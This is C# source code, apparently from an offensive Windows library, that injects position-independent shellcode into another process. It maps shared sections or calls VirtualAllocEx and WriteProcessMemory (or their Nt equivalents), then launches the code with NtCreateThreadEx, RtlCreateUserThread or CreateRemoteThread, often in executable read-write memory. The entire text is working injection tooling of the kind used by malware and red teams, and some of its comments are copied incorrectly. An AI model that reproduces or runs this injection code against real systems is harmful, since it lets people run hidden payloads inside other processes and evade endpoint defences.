/// <summary> /// Allocate the payload to the target process. /// </summary> /// <param name="payload">The PIC payload to allocate to the target process.</param> /// <param name="process">The target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload payload, System.Diagnostics.Process process) { //Get a convenient handle for the target process. IntPtr procHandle = process.Handle; //Create a section to hold our payload IntPtr sectionAddress = CreateSection((uint)payload.Payload.Length); //Map a view of the section into our current process with RW permissions SectionDetails details = MapSection(System.Diagnostics.Process.GetCurrentProcess().Handle, sectionAddress, Win32.WinNT.PAGE_READWRITE, IntPtr.Zero, Convert.ToUInt32(payload.Payload.Length)); //Copy the shellcode to the local view System.Runtime.InteropServices.Marshal.Copy(payload.Payload, 0, details.baseAddr, payload.Payload.Length); //Now that we are done with the mapped view in our own process, unmap it Win32.NtDll.NTSTATUS result = UnmapSection(System.Diagnostics.Process.GetCurrentProcess().Handle, details.baseAddr); //Now, map a view of the section to other process. It should already hold our shellcode. //If the shellcode supports it, you should use RX memory rather than RWX. SectionDetails newDetails = MapSection(procHandle, sectionAddress, Win32.WinNT.PAGE_EXECUTE_READWRITE, IntPtr.Zero, (uint)payload.Payload.Length); return(newDetails.baseAddr); }
/// <summary> /// Allocate the payload in the target process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The PIC payload to allocate to the target process.</param> /// <param name="Process">The target process.</param> /// <param name="PreferredAddress">The preferred address at which to allocate the payload in the target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) { // Get a convenient handle for the target process. IntPtr procHandle = Process.Handle; // Create a section to hold our payload IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); // Map a view of the section into our current process with RW permissions SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); // Copy the shellcode to the local view System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); // Now that we are done with the mapped view in our own process, unmap it Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); // Now, map a view of the section to other process. It should already hold the payload. SectionDetails newDetails; if (PreferredAddress != IntPtr.Zero) { // Attempt to allocate at a preferred address. May not end up exactly at the specified location. // Refer to MSDN documentation on ZwMapViewOfSection for details. newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); } else { newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); } return(newDetails.baseAddr); }
/// <summary> /// Allocate the payload in the target process via VirtualAllocEx + WriteProcessMemory /// </summary> /// <author>The Wover (@TheRealWover), aus (@aus)</author> /// <param name="Payload">The PIC payload to allocate to the target process.</param> /// <param name="Process">The target process.</param> /// <param name="PreferredAddress">The preferred address at which to allocate the payload in the target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress = new IntPtr()) { // Get a convenient handle for the target process. IntPtr procHandle = Process.Handle; // Allocate some memory IntPtr regionAddress = PreferredAddress; if (this.AllocAPI == AllocationAPI.VirtualAllocEx) { regionAddress = DynamicInvoke.Win32.VirtualAllocEx(procHandle, PreferredAddress, (uint)Payload.Payload.Length, AllocationType, MemoryProtection); if (regionAddress == IntPtr.Zero) { throw new AllocationFailed(Marshal.GetLastWin32Error()); } } else if (this.AllocAPI == AllocationAPI.NtAllocateVirtualMemory) { IntPtr regionSize = new IntPtr(Payload.Payload.Length); DynamicInvoke.Native.NtAllocateVirtualMemory(procHandle, ref regionAddress, IntPtr.Zero, ref regionSize, AllocationType, (uint)MemoryProtection); } if (this.Write_API == WriteAPI.WriteProcessMemory) { // Copy the shellcode to allocated memory bool retVal = DynamicInvoke.Win32.WriteProcessMemory(procHandle, regionAddress, Payload.Payload, (Int32)Payload.Payload.Length, out _); if (!retVal) { throw new MemoryWriteFailed(Marshal.GetLastWin32Error()); } } else if (this.Write_API == WriteAPI.NtWriteVirtualMemory) { GCHandle handle = GCHandle.Alloc(Payload.Payload, GCHandleType.Pinned); IntPtr payloadPtr = handle.AddrOfPinnedObject(); uint BytesWritten = DynamicInvoke.Native.NtWriteVirtualMemory(procHandle, regionAddress, payloadPtr, (uint)Payload.Payload.Length); if (BytesWritten != (uint)Payload.Payload.Length) { throw new MemoryWriteFailed(0); } } return(regionAddress); }
/// <summary> /// Create a thread in the remote process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The shellcode payload to execute in the target process.</param> /// <param name="BaseAddress">The address of the shellcode in the target process.</param> /// <param name="Process">The target process to inject into.</param> /// <returns></returns> public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) { IntPtr threadHandle = new IntPtr(); Native.NTSTATUS result = Native.NTSTATUS.Unsuccessful; if (api == APIS.NtCreateThreadEx) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.NtCreateThreadEx( ref threadHandle, Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, Process.Handle, BaseAddress, IntPtr.Zero, suspended, 0, 0, 0, IntPtr.Zero ); } else if (api == APIS.RtlCreateUserThread) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.RtlCreateUserThread( Process.Handle, IntPtr.Zero, suspended, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, BaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero ); } else if (api == APIS.CreateRemoteThread) { uint flags = suspended ? (uint)0x00000004 : 0; IntPtr threadid = new IntPtr(); // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. threadHandle = DynamicInvoke.Win32.CreateRemoteThread( Process.Handle, IntPtr.Zero, 0, BaseAddress, IntPtr.Zero, flags, ref threadid ); if (threadHandle == IntPtr.Zero) { return(false); } handle = threadHandle; return(true); } // If successful, return the handle to the new thread. Otherwise return NULL if (result == Native.NTSTATUS.Unsuccessful || result <= Native.NTSTATUS.Success) { return(false); } handle = threadHandle; return(true); }
public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) { IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); return(Inject(Payload, baseAddr, Process)); }